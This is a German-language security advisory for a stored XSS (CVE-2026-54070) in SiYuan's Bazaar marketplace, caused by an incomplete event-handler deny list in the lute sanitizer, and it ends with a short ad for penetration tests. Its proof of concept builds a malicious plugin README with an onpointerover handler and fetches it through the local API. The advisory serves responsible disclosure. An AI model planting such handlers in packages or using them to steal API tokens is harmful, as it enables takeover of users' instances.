SiYuan: Stored XSS im Bazaar-Marktplatz über Paket-README-Event-Handler
Eine unvollständige Event-Handler-Sperrliste im lute-Sanitizer lässt zu, dass in der README eines Marktplatz-Pakets hinterlegtes JavaScript im authentifizierten Origin eines SiYuan-Administrators ausgeführt wird, sobald dieser das Listing ansieht.
Advisory-ID: TP-2026-014
Produkt: SiYuan (Open-Source, datenschutzorientierte Notiz- und Wissensmanagement-Anwendung)
Schwachstellentyp: Stored Cross-Site-Scripting (CWE-79, CWE-184)
CVE: CVE-2026-54070
CVSS 3.1: 7.1 (Hoch) · CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L
Betroffene Versionen: <= 3.6.5
Behoben in: 3.7.0
Hersteller-Advisory: GHSA-w7cg-whh7-xp28
Gemeldet: 30. Mai 2026
Zusammenfassung
SiYuan ist eine quelloffene, datenschutzorientierte Notiz- und Wissensmanagement-Anwendung. Der integrierte Marktplatz (Bazaar) rendert die README-Dateien von Paketen, also nicht vertrauenswürdige Inhalte aus fremden Repositories, über die Markdown-Engine lute. Deren Sanitizer filtert Event-Handler-Attribute anhand einer Sperrliste alter w3schools-Handler, sodass moderne Handler wie onpointerover, onpointerdown, onauxclick, onbeforetoggle, onfocusin, onanimationstart und ontransitionend unverändert durchgereicht werden. Das gerenderte HTML wird im Frontend ohne zusätzliche DOMPurify-Bereinigung direkt per innerHTML in das DOM geschrieben, und der Kernel setzt keine Content-Security-Policy. Ein in einer Paket-README hinterlegter Inline-Handler wird daher im authentifizierten Origin eines Administrators ausgeführt, sobald dieser das Listing ansieht und mit ihm interagiert. turingpoint hat den Ablauf verifiziert und verantwortungsvoll an den Hersteller gemeldet.
Ursache
Der lute-Sanitizer (render/sanitizer.go) prüft Event-Handler-Attribute über eine Sperrliste (eventAttrs) aus veralteten Handlern statt über eine Positivliste, sodass moderne Handler wie onpointerover nicht erfasst werden. kernel/bazaar/readme.go rendert die nicht vertrauenswürdige README eines Pakets mit SetSanitize(true) und verlässt sich damit auf genau diese unvollständige Sperrliste. Das Frontend (app/src/config/bazaar.ts) weist das gerenderte HTML anschließend direkt innerHTML zu, ohne es clientseitig mit DOMPurify zu bereinigen. Da der Kernel zudem keine Content-Security-Policy ausliefert, können eingebettete Inline-Handler ausgeführt werden. Hat ein Administrator dem Marktplatz vertraut (bazaar.trust) und bewegt den Zeiger über die README eines präparierten Pakets, läuft der Handler im authentifizierten Origin.
Proof of Concept
Voraussetzung ist eine SiYuan-Instanz mit aktiviertem Marktplatz-Vertrauen:
# 1) Boesartiges Plugin mit nicht-gelistetem Event-Handler anlegen:
mkdir -p workspace/data/plugins/evil-plugin
cat > workspace/data/plugins/evil-plugin/plugin.json <<'JSON'
{"name":"evil-plugin","author":"x","version":"1.0.0","minAppVersion":"3.0.0",
"displayName":{"default":"Evil"},"description":{"default":"poc"},
"readme":{"default":"README.md"},"backends":["all"],"frontends":["all"]}
JSON
printf '<div onpointerover="alert(document.domain)">plugin description</div>\n' \
> workspace/data/plugins/evil-plugin/README.md
# 2) Gerendertes README ueber die API abrufen:
curl -s -X POST http://127.0.0.1:6806/api/bazaar/getInstalledPlugin \
-H "Authorization: Token <API-TOKEN>" -H "Content-Type: application/json" \
-d '{"frontend":"all","keyword":""}'
# Antwort enthaelt den Handler ungefiltert:
# <div onpointerover="alert(document.domain)">plugin description</div>
# 3) In Einstellungen -> Marktplatz das Paket oeffnen und den Zeiger ueber das
# README bewegen. Der Handler laeuft im authentifizierten SiYuan-Origin.
Da der Sanitizer den modernen Handler nicht kennt und das Frontend das Ergebnis ohne DOMPurify in das DOM schreibt, wird alert(document.domain) ausgeführt, sobald der Administrator den Zeiger über die README bewegt.
Auswirkung
- Ausführung beliebigen JavaScripts im authentifizierten Origin eines Administrators, ohne dass das Paket installiert sein muss.
- Diebstahl des API-Tokens (
conf.api.token) und damit vollständiger Zugriff auf die Administrator-API. - Weitergehende Übernahme über Funktionen wie
installBazaarPluginbis zur Kontrolle über den Kernel. - Ein einzelnes bösartiges Paket erreicht alle Instanzen, die sein Marktplatz-Listing ansehen.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
